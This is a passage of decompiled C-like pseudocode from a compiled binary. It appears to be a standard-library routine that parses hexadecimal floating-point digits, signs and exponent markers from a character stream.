											_a112 = _t948 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t721;
											if(_t721 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t950 =  *_t883;
									__eflags = _t950;
									if(_t950 == 0) {
										L139:
										 *_t883 = 0;
										_t481 = 1;
									} else {
										_t825 =  *((intOrPtr*)(_t950 + 0x38));
										_t1020 =  *_t825;
										__eflags = _t1020;
										if(_t1020 == 0) {
											L136:
											_t485 =  *((intOrPtr*)( *_t950 + 0x40))();
										} else {
											_t1054 =  *((intOrPtr*)(_t950 + 0x50));
											_t590 =  *_t1054;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L136;
											} else {
												 *_t1054 = _t590 - 1;
												 *_t825 =  &(_t1020[1]);
												_t485 =  *_t1020 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t481 = 0;
										}
									}
									 *(_t883 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1094 = _t1082;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1092;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t717;
					} else {
						_t854 =  *_t1081;
						_t424 =  *((intOrPtr*)(_t854 + 0x28))();
						_a88 = _t854;
					}
					_v40 = _t1060;
					_t1086 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t953 =  *_t883;
						_t567 = 0;
						_t592 = 0;
						if(_t953 != 0) {
							_t842 =  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x38))));
							if(_t842 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t953 + 0x38))();
							} else {
								_t495 =  *_t842 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t833 = _a96;
						_t954 =  *_t833;
						if(_t954 != 0) {
							_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x38))));
							if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x50)))) <= 0) {
								_t833 =  *_t954;
								_t494 = _t833[0x1c]();
							} else {
								_t494 =  *_t833 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t883 + 8) == 0) {
							_t972 =  *_t883;
							if(_t972 == 0) {
								L237:
								 *_t883 = 0;
							} else {
								_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x38))));
								if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x50)))) <= 0) {
									_t833 =  *_t972;
									_t493 = _t833[0x1c]();
								} else {
									_t493 =  *_t833 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L237;
								} else {
									 *(_t883 + 0xa) = _t493;
								}
							}
							 *(_t883 + 8) = 1;
						}
						_t424 =  *(_t883 + 0xa) & 0x0000ffff;
						_t956 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t956 + 2) & 0x0000ffff;
							_t956 = _t956 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t958 = _t956 -  &_v32 >> 1;
						if(_t958 > 0x15) {
							__eflags = _a72 - 0xf;
							_t960 =  <=  ? _t1086 : _a48;
							__eflags =  *((char*)(_t960 + _t1092));
							if( *((char*)(_t960 + _t1092)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1101 = _a64;
										__eflags = _t1101 - 0xfffffffe;
										if(_t1101 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t833, "string too long", _t1044, _t1060);
											asm("ud2");
											_t1062 = _t833;
											_t838 = _a72;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t964 = _a48;
												__eflags = _t838 + 1 - 0x1000;
												if(_t838 + 1 >= 0x1000) {
													_t964 =  *((intOrPtr*)(_t964 - 8));
												}
												_t489 = E00402090(_t489, _t964);
											}
											_t839 = _v56;
											__eflags = _t839 - 0x10;
											if(_t839 >= 0x10) {
												_t963 = _v80;
												_t839 = _t839 + 1;
												__eflags = _t839 - 0x1000;
												if(_t839 >= 0x1000) {
													_t963 =  *((intOrPtr*)(_t963 - 8));
												}
												_t489 = E00402090(_t489, _t963);
											}
											E0044CEA0(_t489, _t1062);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t839 =  *_t839 + 0x64;
											_t413 = _t839 - 0x6f6f6f70;
											 *_t413 =  *(_t839 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1064);
											return 0x64;
										} else {
											_t1102 = _t1101 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1102);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t969 =  <=  ? _t1086 : _a48;
												 *((char*)(( <=  ? _t1086 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t848 =  <=  ? _t1086 : _a48;
												__eflags = _t848;
												_a64 = _t1102;
												 *((char*)(_t848 + _t1102)) = 0;
											}
											_t1092 = _t1092 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t970 = _a112;
									 *_t970 =  *((intOrPtr*)(_t958 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t970 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t958;
									if(_t958 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t851 =  <=  ? _t1086 : _a48;
							_t531 =  *(_t851 + _t1092);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t851 + _t1092) = _t531;
							}
							L209:
							_t966 =  *_t883;
							if(_t966 == 0) {
								L192:
								 *_t883 = 0;
								_t424 = 1;
								 *(_t883 + 8) = 1;
							} else {
								_t844 =  *((intOrPtr*)(_t966 + 0x38));
								_t1029 =  *_t844;
								if(_t1029 == 0) {
									L213:
									_t496 =  *((intOrPtr*)( *_t966 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t966 + 0x50));
									_t593 =  *_t1044;
									if(_t593 <= 0) {
										goto L213;
									} else {
										 *_t1044 = _t593 - 1;
										_t183 =  &(_t1029[1]); // 0x3
										 *_t844 = _t183;
										_t496 =  *_t1029 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t424 = 0;
									 *(_t883 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1092;
					if(_t1092 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
						_t837 =  <=  ? _t1086 : _a48;
						_t553 =  *((intOrPtr*)(_t837 + _t1092));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t834 = _a72;
						} else {
							_t424 = _t547;
							_t1096 = _t1092 + _t837;
							__eflags = _t1096;
							if(_t1096 == 0) {
								goto L257;
							} else {
								_t834 = _a72;
								__eflags = _t834 - 0xf;
								_t1087 =  >  ? _a48 : _t1086;
								_t1055 = _v40;
								while(1) {
									_t548 =  *_t1055 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1096 - 1;
									_t554 =  *(_t1087 + _t1096 - 1) & 0x000000ff;
									if(_t1096 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L252:
											_t1096 = _t1096 - 1;
											__eflags =  *(_t1055 + 1);
											if( *(_t1055 + 1) > 0) {
												_t1055 = _t1055 + 1;
												__eflags = _t1055;
											}
											__eflags = _t1096;
											if(_t1096 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t592 = 0;
							}
						}
					}
					L258:
					__eflags = _t834 - 0x10;
					_t1094 = _a32;
					r12d = _a84;
					if(_t834 >= 0x10) {
						_t955 = _a48;
						__eflags = _t834 + 1 - 0x1000;
						if(_t834 + 1 >= 0x1000) {
							_t955 =  *((intOrPtr*)(_t955 - 8));
						}
						_t424 = E00402090(_t424, _t955);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t820 = _a112;
							 *_t820 = 0x30;
							_t821 = _t820 + 1;
							__eflags = _t821;
							_a112 = _t821;
						}
						goto L172;
					} else {
						L172:
						_t902 =  *_t883;
						_t570 = 0;
						__eflags = _t902;
						_t561 = 0;
						r15d = r12d;
						if(_t902 != 0) {
							_t818 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t818;
							if(_t818 == 0) {
								L176:
								_t479 =  *((intOrPtr*)( *_t902 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t479 =  *_t818 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t903 =  *_a96;
						__eflags = _t903;
						if(_t903 != 0) {
							_t815 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
							__eflags = _t815;
							if(_t815 == 0) {
								L182:
								_t478 =  *((intOrPtr*)( *_t903 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t903 + 0x50));
								if( *( *(_t903 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t478 =  *_t815 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t883 + 8);
							_t1052 = _v48;
							if( *(_t883 + 8) == 0) {
								_t946 =  *_t883;
								__eflags = _t946;
								if(_t946 == 0) {
									L267:
									 *_t883 = 0;
								} else {
									_t812 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
									__eflags = _t812;
									if(_t812 == 0) {
										L264:
										_t477 =  *((intOrPtr*)( *_t946 + 0x38))();
									} else {
										__eflags =  *( *(_t946 + 0x50));
										if( *( *(_t946 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t477 =  *_t812 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t883 + 0xa) = _t477;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t807 =  *_t1052;
							_t424 =  *((intOrPtr*)(_t807 + 0x20))();
							__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t883 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t807));
								_t944 =  *_t883;
								__eflags = _t944;
								r12d = r15d;
								if(_t944 == 0) {
									L280:
									 *_t883 = 0;
									_t424 = 1;
								} else {
									_t809 =  *((intOrPtr*)(_t944 + 0x38));
									_t1016 =  *_t809;
									__eflags = _t1016;
									if(_t1016 == 0) {
										L277:
										_t475 =  *((intOrPtr*)( *_t944 + 0x40))();
										r12d = r15d;
									} else {
										_t1053 =  *((intOrPtr*)(_t944 + 0x50));
										_t588 =  *_t1053;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L277;
										} else {
											 *_t1053 = _t588 - 1;
											 *_t809 =  &(_t1016[1]);
											_t475 =  *_t1016 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t883 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t937 =  *_t883;
										_t584 = 0;
										__eflags = _t937;
										_t566 = 0;
										if(_t937 == 0) {
											goto L291;
										}
										_t797 =  *((intOrPtr*)( *((intOrPtr*)(_t937 + 0x38))));
										__eflags = _t797;
										if(_t797 == 0) {
											L289:
											_t470 =  *((intOrPtr*)( *_t937 + 0x38))();
										} else {
											__eflags =  *( *(_t937 + 0x50));
											if( *( *(_t937 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t470 =  *_t797 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t938 =  *_a96;
										__eflags = _t938;
										if(_t938 != 0) {
											_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x38))));
											__eflags = _t805;
											if(_t805 == 0) {
												L295:
												_t469 =  *((intOrPtr*)( *_t938 + 0x38))();
											} else {
												__eflags =  *( *(_t938 + 0x50));
												if( *( *(_t938 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t469 =  *_t805 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t941 =  *_t883;
												__eflags = _t941;
												if(_t941 == 0) {
													L306:
													 *_t883 = 0;
												} else {
													_t802 =  *((intOrPtr*)( *((intOrPtr*)(_t941 + 0x38))));
													__eflags = _t802;
													if(_t802 == 0) {
														L303:
														_t468 =  *((intOrPtr*)( *_t941 + 0x38))();
													} else {
														__eflags =  *( *(_t941 + 0x50));
														if( *( *(_t941 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t468 =  *_t802 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t883 + 0xa) = _t468;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t424 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
												_t939 =  *_t883;
												__eflags = _t939;
												if(_t939 == 0) {
													L316:
													 *_t883 = 0;
													_t467 = 1;
													goto L283;
												} else {
													_t799 =  *((intOrPtr*)(_t939 + 0x38));
													_t1012 =  *_t799;
													__eflags = _t1012;
													if(_t1012 == 0) {
														L313:
														_t471 =  *((intOrPtr*)( *_t939 + 0x40))();
													} else {
														_t1051 =  *((intOrPtr*)(_t939 + 0x50));
														_t585 =  *_t1051;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L313;
														} else {
															 *_t1051 = _t585 - 1;
															 *_t799 =  &(_t1012[1]);
															_t471 =  *_t1012 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t467 = 0;
														L283:
														 *(_t883 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t794 = _a112;
											 *_t794 = 0x30;
											_a112 = _t794 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1083 =  &_v34;
						while(1) {
							L333:
							_t904 =  *_t883;
							_t571 = 0;
							__eflags = _t904;
							_t562 = 0;
							if(_t904 == 0) {
								goto L339;
							}
							_t783 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
							__eflags = _t783;
							if(_t783 == 0) {
								L337:
								_t466 =  *((intOrPtr*)( *_t904 + 0x38))();
							} else {
								__eflags =  *( *(_t904 + 0x50));
								if( *( *(_t904 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t466 =  *_t783 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t905 =  *_a96;
							__eflags = _t905;
							if(_t905 != 0) {
								_t791 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
								__eflags = _t791;
								if(_t791 == 0) {
									L343:
									_t465 =  *((intOrPtr*)( *_t905 + 0x38))();
								} else {
									__eflags =  *( *(_t905 + 0x50));
									if( *( *(_t905 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t465 =  *_t791 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t936 =  *_t883;
									__eflags = _t936;
									if(_t936 == 0) {
										L354:
										 *_t883 = 0;
									} else {
										_t788 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
										__eflags = _t788;
										if(_t788 == 0) {
											L351:
											_t424 =  *((intOrPtr*)( *_t936 + 0x38))();
										} else {
											__eflags =  *( *(_t936 + 0x50));
											if( *( *(_t936 + 0x50)) <= 0) {
												goto L351;
											} else {
												_t424 =  *_t788 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L354;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t541 =  *(_t883 + 0xa) & 0x0000ffff;
								_t779 = _t1083;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t779 + 2) & 0x0000ffff;
									_t779 = _t779 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L516:
									__eflags = r10b & 0x00000001;
									_t1074 =  ==  ? _t1094 : _t1073;
									__eflags = _a88;
									_t1075 =  !=  ? _t1094 :  ==  ? _t1094 : _t1073;
									 *((char*)( !=  ? _t1094 :  ==  ? _t1094 : _t1073)) = 0;
									 *_a232 = r9d;
									_t726 = _v56;
									__eflags = _t726 - 0x10;
									if(_t726 >= 0x10) {
										_t908 = _v80;
										__eflags = _t726 + 1 - 0x1000;
										if(_t726 + 1 >= 0x1000) {
											_t908 =  *((intOrPtr*)(_t908 - 8));
										}
										E00402090(_t424, _t908);
									}
									__eflags = 0;
									return 0;
									goto L531;
								}
								_t781 = _t779 -  &_v32 >> 1;
								__eflags = _t781 - 0x15;
								if(_t781 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t934 = _a112;
										 *_t934 =  *((intOrPtr*)(_t781 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t934 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t931 =  *_t883;
									__eflags = _t931;
									if(_t931 == 0) {
										L331:
										 *_t883 = 0;
										_t461 = 1;
									} else {
										_t785 =  *((intOrPtr*)(_t931 + 0x38));
										_t1008 =  *_t785;
										__eflags = _t1008;
										if(_t1008 == 0) {
											L328:
											_t462 =  *((intOrPtr*)( *_t931 + 0x40))();
										} else {
											_t1050 =  *((intOrPtr*)(_t931 + 0x50));
											_t582 =  *_t1050;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L328;
											} else {
												 *_t1050 = _t582 - 1;
												 *_t785 =  &(_t1008[1]);
												_t462 =  *_t1008 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L331;
										} else {
											_t461 = 0;
										}
									}
									 *(_t883 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t906 =  *_t883;
								_t572 = 0;
								__eflags = _t906;
								_t563 = 0;
								_t1073 = _a112;
								r9d = r15d;
								if(_t906 != 0) {
									_t777 =  *((intOrPtr*)( *((intOrPtr*)(_t906 + 0x38))));
									__eflags = _t777;
									if(_t777 == 0) {
										L366:
										_t460 =  *((intOrPtr*)( *_t906 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t906 + 0x50));
										if( *( *(_t906 + 0x50)) <= 0) {
											goto L366;
										} else {
											_t460 =  *_t777 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t907 =  *_a96;
								__eflags = _t907;
								if(_t907 != 0) {
									_t774 =  *((intOrPtr*)( *((intOrPtr*)(_t907 + 0x38))));
									__eflags = _t774;
									if(_t774 == 0) {
										L372:
										_t459 =  *((intOrPtr*)( *_t907 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t907 + 0x50));
										if( *( *(_t907 + 0x50)) <= 0) {
											goto L372;
										} else {
											_t459 =  *_t774 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t883 + 8);
									if( *(_t883 + 8) == 0) {
										_t929 =  *_t883;
										__eflags = _t929;
										if(_t929 == 0) {
											L384:
											 *_t883 = 0;
										} else {
											_t771 =  *((intOrPtr*)( *((intOrPtr*)(_t929 + 0x38))));
											__eflags = _t771;
											if(_t771 == 0) {
												L381:
												_t458 =  *((intOrPtr*)( *_t929 + 0x38))();
												_t1073 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t929 + 0x50));
												if( *( *(_t929 + 0x50)) <= 0) {
													goto L381;
												} else {
													_t458 =  *_t771 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L384;
											} else {
												 *(_t883 + 0xa) = _t458;
											}
										}
										 *(_t883 + 8) = 1;
									}
									_t424 =  *(_t883 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L388:
										 *_t1073 = 0x70;
										_t909 =  *_t883;
										__eflags = _t909;
										if(_t909 == 0) {
											L398:
											 *_t883 = 0;
											 *(_t883 + 8) = 1;
											goto L399;
										} else {
											_t765 =  *((intOrPtr*)(_t909 + 0x38));
											_t1003 =  *_t765;
											__eflags = _t1003;
											if(_t1003 == 0) {
												L392:
												_t454 =  *((intOrPtr*)( *_t909 + 0x40))();
												_t1073 = _a112;
											} else {
												_t1049 =  *((intOrPtr*)(_t909 + 0x50));
												_t580 =  *_t1049;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L392;
												} else {
													 *_t1049 = _t580 - 1;
													 *_t765 =  &(_t1003[1]);
													_t454 =  *_t1003 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L398;
											} else {
												_t927 =  *_t883;
												 *(_t883 + 8) = 0;
												__eflags = _t927;
												if(_t927 == 0) {
													L399:
													_t573 = 0;
												} else {
													_t768 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
													__eflags = _t768;
													if(_t768 == 0) {
														L400:
														_t456 =  *((intOrPtr*)( *_t927 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t927 + 0x50));
														if( *( *(_t927 + 0x50)) <= 0) {
															goto L400;
														} else {
															_t456 =  *_t768 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t910 =  *_a96;
										__eflags = _t910;
										if(_t910 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t763 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
											__eflags = _t763;
											if(_t763 == 0) {
												L406:
												_t452 =  *((intOrPtr*)( *_t910 + 0x38))();
												_t1073 = _a112;
											} else {
												__eflags =  *( *(_t910 + 0x50));
												if( *( *(_t910 + 0x50)) <= 0) {
													goto L406;
												} else {
													_t452 =  *_t763 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1085 = _t1073 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t926 =  *_t883;
												__eflags = _t926;
												if(_t926 == 0) {
													L418:
													 *_t883 = 0;
												} else {
													_t760 =  *((intOrPtr*)( *((intOrPtr*)(_t926 + 0x38))));
													__eflags = _t760;
													if(_t760 == 0) {
														L415:
														_t451 =  *((intOrPtr*)( *_t926 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t926 + 0x50));
														if( *( *(_t926 + 0x50)) <= 0) {
															goto L415;
														} else {
															_t451 =  *_t760 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L418;
													} else {
														 *(_t883 + 0xa) = _t451;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t447 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1073 + 1)) = 0x2d;
													_t923 =  *_t883;
													__eflags = _t923;
													if(_t923 == 0) {
														goto L434;
													} else {
														_t756 =  *((intOrPtr*)(_t923 + 0x38));
														_t1000 =  *_t756;
														__eflags = _t1000;
														if(_t1000 == 0) {
															L430:
															_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
															goto L431;
														} else {
															_t1048 =  *((intOrPtr*)(_t923 + 0x50));
															_t578 =  *_t1048;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L430;
															} else {
																goto L429;
															}
														}
														goto L432;
													}
													goto L435;
												}
											} else {
												 *((char*)(_t1073 + 1)) = 0x2b;
												_t925 =  *_t883;
												__eflags = _t925;
												if(_t925 == 0) {
													L434:
													 *_t883 = 0;
													_t448 = 1;
												} else {
													_t756 =  *((intOrPtr*)(_t925 + 0x38));
													_t1000 =  *_t756;
													__eflags = _t1000;
													if(_t1000 == 0) {
														L424:
														_t449 =  *((intOrPtr*)( *_t925 + 0x40))();
														L431:
														_t1073 = _a112;
													} else {
														_t1048 =  *((intOrPtr*)(_t925 + 0x50));
														_t578 =  *_t1048;
														__eflags = _t578;
														if(_t578 > 0) {
															L429:
															 *_t1048 = _t578 - 1;
															 *_t756 =  &(_t1000[1]);
															_t449 =  *_t1000 & 0x0000ffff;
														} else {
															goto L424;
														}
													}
													L432:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L434;
													} else {
														_t448 = 0;
													}
												}
												L435:
												_t1076 = _t1073 + 2;
												__eflags = _t1076;
												 *(_t883 + 8) = _t448;
												_t1085 = _t1076;
											}
										}
										while(1) {
											_t911 =  *_t883;
											__eflags = _t911;
											_t574 = 0;
											if(_t911 == 0) {
												goto L445;
											}
											_t746 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
											__eflags = _t746;
											if(_t746 == 0) {
												L443:
												_t443 =  *((intOrPtr*)( *_t911 + 0x38))();
											} else {
												__eflags =  *( *(_t911 + 0x50));
